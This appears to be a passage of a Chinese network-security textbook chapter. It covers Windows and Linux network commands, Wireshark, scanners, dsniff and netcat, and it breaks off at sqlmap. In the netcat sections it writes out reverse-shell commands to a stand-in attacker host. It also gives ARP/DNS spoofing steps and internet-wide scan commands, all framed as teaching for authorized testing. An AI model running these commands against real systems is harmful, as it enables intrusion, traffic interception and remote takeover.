第四章 网络攻防实操

第四章 网络攻防实操

4.1 Windows系统网络相关指令详解

Windows操作系统在日常运维和攻防实践中占据重要地位。熟练掌握其网络相关指令,能够快速诊断网络故障、发现异常连接、配置网络策略。本节将详细介绍Windows下最实用的网络命令及其使用技巧。

4.1.1 基础网络配置与状态查看

1. ipconfig

ipconfig是Windows中最基础的网络配置查看命令,用于显示当前TCP/IP网络配置信息。

  • 基本用法 :直接输入ipconfig,显示所有网络适配器的IPv4地址、子网掩码和默认网关。
  • 常用参数
    • ipconfig /all:显示更详细信息,包括物理地址(MAC)、DHCP状态、DNS服务器、主机名等。
    • ipconfig /release:释放当前DHCP分配的IP地址(仅适用于自动获取IP的网卡)。
    • ipconfig /renew:重新向DHCP服务器申请IP地址。
    • ipconfig /flushdns:清除本地DNS解析缓存。当网站域名解析异常时,首先尝试此命令。

示例 :当用户反馈无法访问某网站时,可先执行ipconfig /flushdns,再执行ipconfig /displaydns查看缓存内容,判断是否存在错误的DNS记录。

2. ping

ping是测试网络连通性的核心工具,通过发送ICMP回显请求并等待响应,判断目标是否可达及网络延迟。

  • 基本用法 :ping<目标IP或域名>
  • 参数详解:
    • -t``:``持续``ping``目标,直到手动停止(``Ctrl+C``)。用于长时间监测网络稳定性。
    • -a``:``将目标``IP``解析为主机名。
    • -n`` <``次数``>``:指定发送的回显请求次数(默认``4``次)。
    • -l ``<``大小``>``:指定发送缓冲区大小(字节),可测试大包传输情况(例如`` ping -l 1500测试``MTU``)。

示例 :ping -t 8.8.8.8可持续监测到外网的连通性;ping -n 100 -l 1000 192.168.1.1测试内网网关在1000字节包下的丢包率。

3. tracert

tracert(路由追踪)通过递增TTL值,显示数据包从本地到目标所经过的每一跳路由器。

  • 基本用法 :tracert <目标IP或域名>
  • 输出解读 :每一行代表一跳,包括该路由器的IP地址和三次探测的往返时间(RTT)。若显示* * *,表示该路由器未响应ICMP(可能是防火墙过滤)。
  • 常见应用 :当访问外部网站缓慢时,通过tracert定位延迟增加的节点,判断是内部网络问题还是运营商链路问题。
4. pathping

pathping``结合了``tracert``和``ping``的功能,先追踪路径,再对每一跳进行统计,计算丢包率和延迟。

  • 基本用法 :pathping <目标IP>
  • 输出特点:命令执行分为两个阶段:第一阶段显示路径,第二阶段(可能需要几分钟)统计各跳的丢包率。此命令特别适合分析网络中丢包发生的具体位置。
5. route print

route print显示本机的IPv4和IPv6路由表,帮助理解数据包转发决策。

  • 基本用法route print
  • 路由表解读:包括网络目标(Network Destination)、网络掩码(Netmask)、网关(Gateway)、接口(Interface)和跃点数(Metric)。
  • 添加 / 删除静态路由
    • 添加:roote add <目标网络> mask <子网掩码> <网关IP> [metric <跃点数>]
    • 永久添加(重启后生效):route -p add ...
    • 删除:route delete <目标网络>

示例 :route add 10.10.0.0 mask 255.255.0.0 192.168.1.254使访问10.10网段的流量指向内网网关。

6. netsh

netsh(Network Shell)是强大的网络配置命令行工具,几乎可以管理所有网络相关设置。

  • 查看接口 IP 配置 :netsh interface ip show config
  • 修改静态 IP
复制代码
netsh interface ip set address "以太网" static 192.168.1.100 255.255.255.0 192.168.1.1
  • 修改 DNS
复制代码
netsh interface ip set dns "以太网" static 114.114.114.114
  • 启用 / 禁用接口
复制代码
netsh interface set interface "以太网" enabled
复制代码
netsh interface set interface "以太网" disabled

netsh还支持将当前网络配置导出为脚本,便于批量部署。

4.1.2 网络连接与端口排查

1. netstat

netstat显示协议统计信息和当前TCP/IP网络连接。

  • 常用参数组合
    • netstat -an:以数字形式显示所有活动连接和监听端口,不进行域名解析,速度更快。
    • netstat -ano:在-an基础上增加进程PID,可定位哪个进程占用了特定端口。
    • netstat -b:显示每个连接对应的可执行程序(需要管理员权限)。

典型应用

  • 查看80端口是否被占用:netstat -ano | findstr :80
  • 发现异常外连:netstat -ano | findstr "ESTABLISHED"结合PID排查可疑进程。
2. telnet

telnet可用于测试TCP端口的连通性,是排查防火墙策略的常用手段。

  • 启用 Telnet 客户端:Windows默认未安装,需在"控制面板"->"程序和功能"->"启用或关闭Windows功能"中勾选"Telnet客户端"。
  • 基本用法 :telnet <目标IP> <端口>
    • 如果端口开放且可达,窗口会变黑或显示连接信息(部分服务会返回欢迎语)。
    • 如果连接失败,会提示"无法打开到主机的连接"。

注意:由于Telnet协议本身明文传输且不安全,仅建议用于临时端口测试,远程管理应使用SSH。

3. Test-NetConnection(PowerShell)

PowerShell中的Test-NetConnection(简称TNC)是一个更现代、更强大的连通性测试工具,支持多种测试类型。

  • 基本用法 :Test-NetConnection <目标IP或域名>
  • 常用参数
    • -Port <``端口``>:测试指定端口的连通性(类似telnet但更详细)。
    • -TraceRoute:同时进行路由追踪。
    • -InformationLevel Detailed:显示详细信息。

示例

复制代码
Test-NetConnection www.baidu.com -Port 443 -TraceRoute

该命令会返回DNS解析结果、目标IP、指定端口是否开放、以及路由追踪信息。

4.1.3 网络服务与防火墙管理

1. sc

sc(Service Control)用于与服务控制管理器通信,可查询、启动、停止、配置服务。

  • 常用操作
    • 查询服务状态:sc query <服务名>
    • 启动服务:sc start <服务名>
    • 停止服务:sc stop <服务名>
    • 配置服务启动类型:sc config <服务名> start= auto|demand|disabled(注意等号后必须有空格)

示例:sc query dhcp查看DHCP Client服务状态;sc stop wuauserv停止Windows Update服务。

2. net start / net stop

这是启动和停止Windows服务的简单命令,与sc start/stop功能类似。

  • 基本用法 :net start <服务名>、net stop <服务名>
  • 注意 :服务名可以使用net start直接查看当前已启动的服务列表。
3. netsh advfirewall

netsh advfirewall用于高级防火墙配置,可完全替代图形界面。

  • 查看当前防火墙状态 :netsh advfirewall show allprofiles
  • 开启 / 关闭防火墙
    • netsh advfirewall set allprofiles state on
    • netsh advfirewall set allprofiles state off
  • 添加入站规则(开放端口):
复制代码
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80
  • 删除规则 :netsh advfirewall firewall delete rule name="Open Port 80"
  • 导入 / 导出策略:便于批量部署。

4.1.4 远程管理与文件传输

1. net use

net use用于建立或断开网络共享连接,也可映射网络驱动器。

  • 映射共享文件夹 :net use Z: \\server\share "密码" /user:"用户名",将共享目录映射为本地Z盘。
  • 删除映射 :net use Z: /delete
  • 查看当前连接 :net use
2. copy

利用copy命令结合网络路径,可在命令行中复制文件到共享位置。

  • 示例 :copy C:\backup\data.zip \\192.168.1.100\share\
3. winrm

Windows远程管理(WinRM)是微软基于WS-Management协议的远程管理服务,允许远程执行命令和配置。

  • 配置 WinRM :管理员权限下运行winrm quickconfig,按提示接受防火墙规则。
  • 测试配置 :winrm identify -r:http://<远程IP>:5985
  • 远程执行命令(需事先信任主机):
复制代码
winrs -r:http://<远程IP> -u:<用户名> -p:<密码> ipconfig
4. mstsc

mstsc是远程桌面连接客户端,支持命令行参数实现快速连接和配置。

  • 直接连接 :mstsc /v:<远程IP>
  • 全屏模式 :mstsc /v:<远程IP> /f
  • 指定分辨率 :mstsc /v:<远程IP> /w:1280 /h:720
  • 使用配置文件 :mstsc "C:\config.rdp"

4.1.5 网络诊断与故障排查工具

1. nslookup

nslookup用于查询DNS记录,诊断域名解析问题。

  • 交互模式 :直接输入nslookup回车,进入交互环境,可连续查询多个域名。
  • 非交互模式nslookup <``域名``>,返回A记录和DNS服务器。
  • 查询其他记录类型
复制代码
nslookup -type=mx <域名>
复制代码
nslookup -type=ns <域名>
  • 指定 DNS 服务器 :nslookup <域名> <DNS服务器IP>
2. arp

arp命令显示和修改地址解析协议(ARP)缓存,即IP地址与MAC地址的对应表。

  • 查看缓存 :arp -a,显示所有接口的ARP条目。
  • 删除特定条目 : arp -d <IP>,常用于清理错误的ARP记录。
  • 静态绑定 (防止ARP欺骗):arp -s <IP> <MAC>,但静态绑定在Windows中需谨慎,可能导致网络切换后无法通信。

安全应用 :如果怀疑内网存在ARP欺骗,可以对比arp -a显示的网关MAC地址与真实网关MAC是否一致。

3. getmac

getmac获取本地或远程主机的MAC地址。

  • 本地 MAC :直接输入getmac,显示所有网卡的物理地址和传输名称。
  • 远程 MAC :getmac /s <远程IP> /u <用户名> /p <密码>,需管理员权限。
4. nbtstat

nbtstat显示基于NetBIOS的TCP/IP协议统计信息,用于排查名称解析问题。

  • 常用参数
    • nbtstat -n:显示本地注册的NetBIOS名称。
    • nbtstat -c:显示NetBIOS名称缓存。
    • nbtstat -R:清除名称缓存并重新加载。
    • nbtstat -a <IP>:通过IP查询该主机的NetBIOS名称表(可能得到主机名、用户名等信息)。
5. netsh winsock reset

当网络连接出现异常(如无法上网但IP配置正确),可能是Winsock目录损坏。执行netsh winsock reset并重启计算机,可重置网络环境至初始状态。

4.2 银河麒麟Linux系统网络相关指令详解

银河麒麟(KylinOS)作为国产操作系统的代表,在信创领域广泛应用。其网络指令基于标准Linux,与CentOS、Ubuntu等发行版高度兼容。本节介绍银河麒麟环境下的网络管理和诊断指令。

4.2.1 基础网络配置查看与修改

1. ifconfig

ifconfig是传统的网络接口配置命令,虽然在新版Linux中已被ip命令取代,但在许多脚本和老系统中仍广泛使用。

  • 查看接口信息 :ifconfig,显示所有激活接口的IP、MAC、收发数据包统计。
  • 查看所有接口(包括未激活) :ifconfig -a
  • 临时设置 IP :ifconfig eth0 192.168.1.100 netmask 255.255.255.0 up
  • 启用 / 禁用接口 :ifconfig eth0 up / ifconfig eth0 down

ip是现代Linux网络配置的核心工具,功能强大。

  • 显示地址信息 :ip addr show(简写ip a),清晰列出每个接口的IP地址。
  • 添加 IP 地址 :ip addr add 192.168.1.100/24 dev eth0
  • 删除 IP 地址 :ip addr del 192.168.1.100/24 dev eth0
  • 管理接口状态 :ip link set eth0 up / ip link set eth0 down
3. route / ip route

路由管理命令。

  • 查看路由表
    • route -n:以数字形式显示路由表,不解析主机名。
    • ip route show:更现代的路由查看方式。
  • 添加默认网关 :route add default gw 192.168.1.1 或 ip route add default via 192.168.1.1
  • 添加静态路由 :route add -net 10.0.0.0/24 gw 192.168.1.254 或 ip route add 10.0.0.0/24 via 192.168.1.254
4. hostname / hostnamectl

主机名管理。

  • 查看主机名 :hostname
  • 临时修改主机名 :hostname new-hostname
  • 永久修改( systemd 系统) :hostnamectl set-hostname new-hostname
5. 配置文件

银河麒麟网络配置文件的存放位置取决于具体版本和网络管理方式:

  • 传统 ifupdown 方式(/etc/network/interfaces):适用于Debian风格系统,银河麒麟早期版本可能使用。配置示例:

auto eth0

iface eth0 inet static

address 192.168.1.100

netmask 255.255.255.0

gateway 192.168.1.1

dns-nameservers 114.114.114.114

  • Netplan 方式(/etc/netplan/):Ubuntu从18.04开始采用,银河麒麟某些版本也支持。YAML格式配置。
  • NetworkManager (nmcli):许多桌面版麒麟使用NetworkManager管理网络,可通过nmcli命令或图形界面配置。
6.nmcli

NetworkManager的命令行工具,功能全面。

  • 查看连接状态 :nmcli device status
  • 查看所有连接 :nmcli connection show
  • 启用 / 禁用连接 :nmcli connection up "连接名" / nmcli connection down "连接名"
  • 修改静态 IP(交互式):

nmcli connection modify eth0 ipv4.addresses 192.168.1.100/24

nmcli connection modify eth0 ipv4.gateway 192.168.1.1

nmcli connection modify eth0 ipv4.dns 114.114.114.114

nmcli connection modify eth0 ipv4.method manual

nmcli connection up eth0

4.2.2 网络连通性测试与诊断

1.ping

Linux下的ping默认持续发送直到手动停止(Ctrl+C),这与Windows的-t类似。

  • 常用参数
    • -c`` <``次数``>:指定发送次数。
    • -i`` <``间隔``>:指定发包间隔(秒)。
    • -s`` <``大小``>:指定数据包大小。

示例 :ping -c 4 -s 1472 192.168.1.1测试大包能否通过(MTU检测)。

2.traceroute / tracepath

traceroute与Windows的tracert类似,但参数不同。

  • 基本用法 :traceroute <``目标``>
  • 常用选项
    • -I``:使用``ICMP Echo``而非``UDP``(更易通过防火墙)。
    • -T``:使用``TCP SYN``(端口默认``80``)。
    • -n``:不解析``IP``为域名。
  • tracepath:更简单的路由追踪工具,无需root权限,但功能稍弱。
3.mtr

mtr(My Traceroute)结合了pingtraceroute,实时动态显示每一跳的丢包率和延迟。

  • 安装 :sudo apt install mtr(麒麟使用apt或yum)
  • 基本用法 :mtr <目标>
  • 输出 :动态刷新,可观察网络质量变化。按q退出,?查看帮助。
  • 报告模式 :mtr -r -c 100 <``目标``>,发送100个包后生成报告。
4.telnet

与Windows下用法相同,用于测试TCP端口连通性。若提示命令未找到,安装telnet包即可。

5.nc netcat

nc被誉为网络工具中的"瑞士军刀",功能极强。

  • 测试端口 :nc -zv <目标IP> <端口范围>(-z:只扫描不发送数据,-v:显示详情)
  • 传输文件
    • 接收端:nc -l -p 1234 > received.zip
    • 发送端:nc <接收IP> 1234 < file.zip
  • 反弹 shell (安全测试常用):
    • 攻击端监听:nc -lvnp 4444
    • 目标机执行:nc <攻击IP> 4444 -e /bin/bash(某些版本需使用``-e``,现代``Linux``可能禁用,可使用管道替代)
6.curl / wget

这两个工具主要用于HTTP请求和文件下载,也常用于调试Web服务。

4.2.3 端口与服务查看

1.netstat

Linux下netstat同样用于查看网络连接和监听端口。

  • 常用组合netstat -tulnp
    • -``t``:``TCP
    • -u``:``UDP
    • -l``:``仅显示监听套接字
    • -n``:``以数字显示
    • -p``:``显示进程``PID``和名称

示例 :netstat -tulnp | grep 80查看80端口被哪个进程占用。

2.ss

ssnetstat的现代替代品,更快、信息更丰富。

  • 常用组合 :ss -tulnp,参数含义与netstat类似。
  • 显示所有连接 :ss -a
  • 显示 TCP 连接统计 :ss -s
3.lsof -i

lsof列出打开的文件,网络连接也被视为文件,因此可用lsof -i查看网络相关信息。

  • 查看特定端口 :lsof -i:80
  • 查看特定 IP 的连接 :lsof -i@192.168.1.1
4.nmap

nmap是强大的端口扫描工具,本节仅作基础介绍,详细用法见4.4.1。

  • 快速扫描 :nmap <``目标``IP>,扫描1000个常用端口。
  • 指定端口 :nmap -p 1-1000 <``目标``IP>

4.2.4 防火墙与网络安全配置

1.iptables

iptables是Linux内核防火墙的管理工具,规则按顺序匹配。

  • 查看当前规则 :sudo iptables -L -n -v(-L列出,-n数字,-v详细)
  • 查看 NAT 表规则 :sudo iptables -t nat -L -n
  • 允许 SSH 22 端口) :sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
  • 拒绝所有其他入站 :sudo iptables -P INPUT DROP(设置默认策略)
  • 保存规则 (不同发行版命令不同,麒麟可能使用iptables-save > /etc/iptables/rules.v4)
2.firewalld

firewalld是动态防火墙管理工具,支持区域和服务概念,广泛用于RHEL/CentOS及部分麒麟服务器版。

  • 查看状态 :sudo systemctl status firewalld
  • 查看所有区域 :sudo firewall-cmd --list-all-zones
  • 开放服务 :sudo firewall-cmd --add-service=http --permanent
  • 开放端口 :sudo firewall-cmd --add-port=8080/tcp --permanent
  • 重新加载配置 :sudo firewall-cmd --reload
3.ufw

ufw(Uncomplicated Firewall)是Ubuntu系列默认的前端,简化了iptables操作,麒麟桌面版也可使用。

  • 启用 UFW :sudo ufw enable
  • 允许 SSH :sudo ufw allow ssh
  • 允许特定端口 :sudo ufw allow 8080/tcp
  • 查看状态 :sudo ufw status verbose

4.2.5 DNS与域名解析

/etc/resolv.conf

此文件配置系统使用的DNS服务器。通常由网络管理工具自动生成,也可手动编辑。

  • 示例内容:

nameserver 114.114.114.114

nameserver 223.5.5.5

1.nslookup

用法与Windows相同,需安装dnsutils包(sudo apt install dnsutils)。

2.dig

dig是功能更强大的DNS查询工具,提供详细信息。

3.host

host命令提供简化的DNS查询。

  • 基本用法 :host baidu.com,返回A记录和MX记录。
  • 反向解析 :host 192.168.1.1,将IP解析为主机名。

4.2.6 网络抓包与简单分析

1.tcpdump

tcpdump是命令行下最强大的抓包工具,适用于服务器环境或无图形界面的系统。

  • 基本用法 :sudo tcpdump -i eth0,抓取eth0接口上的所有流量。
  • 常用选项
    • -i ``<``接口``>``:指定网络接口。
    • -n``:不解析主机名和端口名,显示原始``IP``和端口。
    • -w`` <``文件``>``:将原始包写入文件(``.pcap``格式)。
    • -r`` <``文件``>``:读取并分析保存的包文件。
    • -c`` <``数量``>``:抓取指定数量的包后停止。
  • 过滤表达式 (与Wireshark捕获过滤器语法一致):
    • host 192.168.1.1``:只抓取与``192.168.1.1``通信的包。
    • port 80``:抓取``HTTP``流量。
    • tcp``:只抓``TCP``包。
    • src 192.168.1.100``:抓取源``IP``为``192.168.1.100``的包。
    • and``、``o``r``组合:``host 192.168.1.1 and port 80

示例 :sudo tcpdump -i eth0 -w capture.pcap host 192.168.1.100 and port 443抓取与192.168.1.100的443通信并保存。

2.tshark

tshark是Wireshark的命令行版本,可分析pcap文件或实时抓包,支持Wireshark的显示过滤器语法。

  • 安装 :sudo apt install tshark
  • 读取 pcap 并过滤 :tshark -r capture.pcap -Y "http.request.method == GET"
  • 实时抓包并统计 :tshark -i eth0 -z io,stat,1

4.3 Wireshark数据包分析工具详解

Wireshark是全球最流行的网络协议分析器,能够捕获并详细展示网络数据包的每一层信息。对于网络攻防人员,Wireshark既是故障排查利器,也是分析攻击流量的核心工具。

4.3.1 Wireshark概述与安装

Wireshark 的作用

  • 捕获网络接口上的实时数据包。
  • 对数据包进行深入解析,显示协议字段。
  • 支持强大的过滤和统计功能。
  • 可用于网络故障排查、协议学习、安全事件取证。

适用场景

  • 排查网络延迟、丢包问题。
  • 分析应用层协议(HTTP、DNS、SMTP等)交互过程。
  • 检测异常流量(如扫描、恶意软件通信)。
  • 从流量中提取文件、还原会话。

安装方法

4.3.2 捕获网络流量

选择正确的网络接口: 启动Wireshark后,界面列出所有可用网络接口,包括有线网卡、无线网卡、虚拟网卡等。点击接口名称右侧的"开始捕获"按钮(鲨鱼鳍图标)。通常选择正在使用的接口(如以太网、WLAN)。

捕获过滤器( Capture Filter : 捕获过滤器在开始抓包前设置,只抓取符合条件的包,不抓取不符合的包,可减轻抓包负担。语法基于BPF(Berkeley Packet Filter),常用示例:

|----------------------|-----------------------|
| 过滤表达式 | 说明 |
| host 192.168.1.1 | 抓取与192.168.1.1通信的包 |
| net 192.168.1.0/24 | 抓取整个网段 |
| port 80 | 抓取HTTP流量 |
| tcp port 443 | 抓取HTTPS流量 |
| not arp | 排除ARP包 |
| src 192.168.1.100 | 抓取源IP为192.168.1.100的包 |
| tcp | 仅TCP包 |

保存捕获文件 : 抓包过程中可随时停止,然后保存为.pcapng格式(Wireshark默认),也可导出为旧版.pcap。保存的文件可分享给他人或后续分析。

4.3.3 界面布局与基础操作

Wireshark主界面分为三个主要面板:

  • 数据包列表(顶部):显示所有捕获的包,每行包含序号、时间、源IP、目的IP、协议、长度、信息摘要。
  • 数据包详情(中部):展开显示选中包的协议层次结构,从物理层到应用层。
  • 数据包字节(底部):以十六进制和ASCII形式显示原始数据。

颜色规则: Wireshark用不同颜色区分协议类型或特殊包(如TCP SYN包为浅紫色,ARP包为黄色)。可自行配置颜色规则。

时间显示格式: 默认显示捕获开始后的相对时间。可通过"视图"->"时间显示格式"调整,例如改为绝对时间(YYYY-MM-DD HH:MM:SS)或自参考包时间。

4.3.4 显示过滤器用法

显示过滤器是在抓包完成后,从已捕获的包中筛选出感兴趣的包。语法与捕获过滤器不同,功能更强大。

基本语法

  • 协议名:如httptcpip
  • 字段名`` ``运算符`` ``值:如ip.addr == 192.168.1.1tcp.port == 80
  • 比较运算符:==!=><containsmatches
  • 逻辑运算符:and(&&)、or(||)、not(!)

常用显示过滤器示例

|------------------------------------------------|----------------------|
| 过滤表达式 | 说明 |
| ip.addr == 192.168.1.1 | 显示涉及该IP的所有包(源或目的) |
| tcp.port == 80 | 显示源或目的端口为80的TCP包 |
| http.request.method == "GET" | 显示HTTP GET请求 |
| tcp.flags.syn == 1 and tcp.flags.ack == 0 | 显示TCP SYN包(三次握手第一个包) |
| dns.qry.name contains "baidu" | 显示DNS查询中包含"baidu"的包 |
| frame.len > 1000 | 显示长度大于1000字节的帧 |

保存常用过滤器:点击过滤器输入框右侧的"书签"图标,可将当前过滤器保存,便于下次快速使用。

表达式构建器:点击"表达式"按钮,可浏览所有协议字段,构建复杂过滤器。

4.3.5 数据包分析与统计

追踪流( Follow TCP/UDP 流): 在数据包列表中右键任意一个包,选择"追踪流"->"TCP流/UDP流",Wireshark会自动过滤出该连接的所有包,并按顺序显示客户端和服务器之间的完整数据(可切换为ASCII、十六进制等视图)。这对于还原HTTP会话、分析攻击载荷非常有用。

协议分级统计: 菜单"统计"->"协议分级",显示捕获文件中各协议的比例和包数,快速了解流量组成。

端点统计: "统计"->"端点",按IPv4、IPv6、以太网等列出通信端点,包括地址、发送/接收包数、字节数,可用于发现流量最大的主机。

会话统计:"统计"->"会话",列出所有通信对,显示双向流量统计。

流量图:"统计"->"流量图",可生成TCP流时序图,直观展示连接建立、数据传输、连接释放的过程。

4.3.6 实际案例分析

一、分析 HTTP 登录过程
  1. 在浏览器访问一个需要登录的网站(如测试环境),同时用Wireshark抓包。
  2. 使用过滤器http,找到POST请求。
  3. 追踪该TCP流,查看客户端发送的POST数据,其中可能包含用户名、密码(如果网站未使用HTTPS)。
  4. 观察服务器返回的响应(如302重定向、Set-Cookie字段)。
二、分析 ARP 欺骗攻击
  1. 在内网中,如果怀疑存在ARP欺骗,抓取一段时间的数据。
  2. 使用过滤器arp,查看所有ARP应答包。
  3. 正常ARP应答应来自网关的真实MAC。若发现同一IP对应多个MAC,或一个MAC地址频繁应答多个IP,则可能存在欺骗。
  4. 可通过arp -a对比本机ARP缓存与抓包结果。
三、分析 TCP 三次握手与四次挥手
  1. 过滤器输入tcp.flags.syn==1,找到发起连接的SYN包。
  2. 右键追踪流,查看完整三次握手过程:SYN → SYN+ACK → ACK。
  3. 连接结束时,过滤器输入tcp.flags.fin==1,找到FIN包,观察四次挥手。
四、分析 DNS 查询与响应
  1. 过滤器dns,显示所有DNS流量。
  2. 观察DNS查询包(标准查询)和响应包(包含解析结果)。
  3. 在响应包中展开DNS部分,可看到查询的域名、类型、TTL、解析出的IP地址。

4.3.7 安全应用

一、检测端口扫描行为
  • SYN 扫描 :如果捕获到大量来自同一源IP、发往不同目的端口的TCP SYN包,且没有后续ACK,很可能是SYN扫描。过滤器:tcp.flags.syn==1 and tcp.flags.ack==0,统计源IP。
  • 全连接扫描:完整的三次握手后立即RST断开,也是扫描特征。
二、从 HTTP 流中提取文件

Wireshark支持从HTTP流量中提取传输的文件(如图片、可执行文件)。菜单"文件"->"导出对象"->"HTTP",会列出所有通过HTTP传输的对象,可选择并保存到本地。这对于从恶意流量中提取样本非常有用。

三、识别恶意流量特征
  • C2 心跳包:许多木马会定期向C2服务器发送固定长度、固定间隔的心跳包。通过Wireshark统计流量间隔,可发现异常规律。
  • 加密矿池通信:某些挖矿木马使用特定协议(如Stratum)与矿池通信,虽然加密,但可通过目的IP和端口特征初步判断。
  • DNS 隧道:DNS查询请求包异常大,或域名包含大量随机字符,可能是DNS隧道。

4.4 信息扫描嗅探工具详解

信息收集是网络攻防的第一步。扫描和嗅探工具帮助我们发现网络中的存活主机、开放端口、运行服务以及潜在漏洞。本节介绍Nmap、Zmap、Masscan等扫描工具以及dsniff等嗅探工具。

4.4.1 Nmap网络扫描器

Nmap(Network Mapper)是网络扫描的标杆工具,功能全面且扩展性强。

一、安装与基本用法
二、扫描类型详解

Nmap支持多种扫描技术,以绕过防火墙或获取更准确信息。

|----------------|-------|----------------------------------|-----------------------------|
| 扫描 类型 | 命令 选项 | 原理 | 特点 |
| TCP SYN 扫描 | -sS | 发送SYN包,若收到SYN+ACK则端口开放,再发送RST断开。 | 半开扫描,速度快,不易被应用日志记录,需root权限。 |
| TCP Connect 扫描 | -sT | 完成完整三次握手,然后断开。 | 无需root权限,但会被目标记录日志。 |
| UDP扫描 | -sU | 发送UDP包,若收到ICMP端口不可达则关闭,否则可能开放。 | 速度慢,需结合其他技术。 |
| FIN扫描 | -sF | 发送FIN包,开放端口无响应,关闭端口返回RST。 | 用于绕过无状态防火墙。 |
| NULL扫描 | -sN | 发送无标志TCP包,同FIN。 | 类似FIN。 |
| Xmas扫描 | -sX | 发送FIN、URG、PUSH包,同FIN。 | 类似FIN。 |
| Ping扫描 | -sn | 只进行主机存活探测(ICMP、TCP、ARP),不扫描端口。 | 快速发现网络中活跃主机。 |

三、端口指定
  • -p <``端口范围``>:如-p 1-1000-p 80,443,8080
  • -p-:扫描所有65535个端口(速度慢)
  • -F:快速扫描(仅100个常用端口)
四、服务版本探测

-sV:对开放端口进行服务版本探测,通过发送特定探测包分析响应,识别服务类型和版本(如Apache 2.4.41)。

五、操作系统指纹识别

-O:通过分析IP包TTL、窗口大小等特征猜测操作系统类型和版本。

六、脚本引擎( NSE

Nmap的脚本引擎(NSE)支持使用Lua脚本进行漏洞检测、服务枚举、登录破解等。

  • 常用脚本分类
    • vuln:检测常见漏洞。
    • auth:检测认证相关。
    • brute:暴力破解。
    • discovery:服务发现。
  • 使用脚本 :--script=<``脚本名或分类``>,如--script=vuln运行所有漏洞检测脚本。
  • 指定脚本参数 :--script-args=<``参数``>

示例

  • 检测SMB漏洞:nmap -p 445 --script smb-vuln* <目标>
  • 枚举MySQL信息:nmap -p 3306 --script mysql-info <目标>
七、输出格式
  • -oN`` <``文件``>:标准输出保存。
  • -oX`` <``文件``>:XML格式,便于程序解析。
  • -oG`` <``文件``>:Grepable格式,方便grep过滤。

4.4.2 Zmap与Masscan(高速扫描)

对于大规模网络扫描(如全互联网扫描),Nmap速度太慢,需要使用Zmap或Masscan。

1.Zmap

Zmap是专门为单端口全网扫描设计的工具,可在45分钟内扫描整个IPv4地址空间的指定端口。

  • 原理:无状态扫描,不维护连接状态,通过自适应发包速率实现高速扫描。
  • 基本用法 :zmap -p 443 -o results.csv 0.0.0.0/0(扫描全网443端口,结果保存)
  • 适用场景:寻找特定服务的开放主机(如SSH、HTTP),用于安全研究或互联网普查。
2.Masscan

Masscan号称"最快的互联网端口扫描器",比Zmap更快,且支持多端口扫描和类似Nmap的参数风格。

  • 特点
    • 可扫描全端口或指定端口范围。
    • 支持自定义发包速率(--rate)。
    • 输出格式兼容Nmap。
  • 基本用法
    • 扫描B段(192.168.0.0/16)的80和443端口:masscan 192.168.0.0/16 -p80,443 --rate=10000
    • 扫描全网80端口:masscan 0.0.0.0/0 -p80 --rate=1000000

注意:高速扫描可能被目标网络视为攻击,且对自身网络带宽和出口设备造成压力,务必在授权环境中使用。

4.4.3 嗅探工具:tcpdump与dsniff

1.tcpdump 高级用法

tcpdump除基本抓包外,还可结合复杂过滤器和脚本进行分析。

  • 抓取特定流量并实时分析
复制代码
sudo tcpdump -i eth0 -nn -s0 -A 'tcp port 80 and (tcp[((tcp[12] & 0xf0) >> 2):4] = 0x504f5354)'

该命令抓取HTTP POST请求(匹配"POST"字符串)。

  • pcap 中提取会话 :结合tsharkstrings可提取可读内容。
2.dsniff 套件

dsniff是一组强大的网络嗅探和中间人攻击工具,需在Kali等渗透测试发行版中预装(或自行编译)。

  • arpspoof :执行ARP欺骗,实现中间人。
    • 开启IP转发:echo 1 > /proc/sys/net/ipv4/ip_forward
    • 欺骗目标:arpspoof -i eth0 -t <目标IP> <网关IP>
    • 同时欺骗网关:arpspoof -i eth0 -t <网关IP> <目标IP>(需两个窗口)
  • dnsspoof :伪造DNS响应,将特定域名指向恶意IP。
    • 准备hosts文件(格式:<伪造IP> <域名>)
    • 执行:dnsspoof -i eth0 -f hosts
  • urlsnarf :嗅探HTTP请求中的URL并实时显示。
    • urlsnarf -i eth0
  • msgsnarf:嗅探即时通讯消息(如MSN、Yahoo Messenger)。
3. 防御检测方法
  • 在交换机上启用DAI(动态ARP检测)。
  • 使用ARP防火墙,监控ARP缓存变化。
  • 加密通信(HTTPS、SSH)可防止内容被嗅探。

4.4.4 路由探测与拓扑发现

1.traceroute / tracert

如前所述,用于路径发现。

2.mtr

实时监测路径质量。

3. 使用 Nmap 绘制网络拓扑

Nmap的--traceroute选项可在扫描时进行路由追踪,并结合脚本生成拓扑。

  • 示例 :nmap -sn --traceroute 192.168.1.0/24,探测该网段所有主机并追踪路径。
  • 生成图形拓扑 :结合ndiff或第三方工具(如Zenmap的拓扑视图)。

4.4.5 网络测试工具:NetCat

一、 功能概述

NetCat(nc)被誉为"网络瑞士军刀",可读写网络连接,常用于端口测试、文件传输、反向Shell等。

二、常见用途(授权环境)

1. 端口连通性测试:

nc -zv target.com 80 # 测试80端口是否开放

nc -zv 192.168.1.1 1-100 # 扫描1-100端口(类似简单端口扫描)

2. 简易文件传输:

接收端(在目标机器上):nc -l -p 1234 > received.zip

发送端:nc sender_ip 1234 < file.zip

3. 简易聊天:

监听端:nc -l -p 4444

连接端:nc listener_ip 4444,双方可互发消息(按Ctrl+C结束)。

4. 反向 Shell 测试(在渗透测试中验证漏洞):

攻击机监听:nc -lvnp 4444

目标机执行(若存在命令注入):

nc attacker_ip 4444 -e /bin/bash # Linux

nc.exe attacker_ip 4444 -e cmd.exe # Windows

5. 常用参数

-l:监听模式。

-p:指定本地端口。

-v:显示详细信息。

-n:不进行DNS解析。

-z:只扫描端口,不发送数据(用于测试)。

-e:指定连接后执行的程序(危险功能,通常被编译时禁用)。

6. 合规要求

严禁未授权使用:反向Shell功能可能被恶意利用,只允许在测试环境或应急响应中使用。

日志记录:使用NetCat进行网络测试时,应记录操作目的和范围。

环境隔离:测试应在隔离的测试网络中进行,避免影响生产环境。

4.5 网络注入攻击工具详解

注入攻击是Web安全和内网渗透中的重要手段。本节介绍SQL注入、XSS、中间人攻击、拒绝服务等常用工具,旨在帮助读者理解攻击原理,从而更好地防御。

4.5.1 SQL注入工具:sqlmap

sqlmap是自动化SQL注入检测和利用的最强大工具,支持多种数据库和后渗透操作。

一、安装
二、基本用法:检测注入点

sqlmap会检测参数是否存在注入,并识别数据库类型。

三、数据库枚举
  • 列出数据库 :sqlmap -u <URL> --dbs
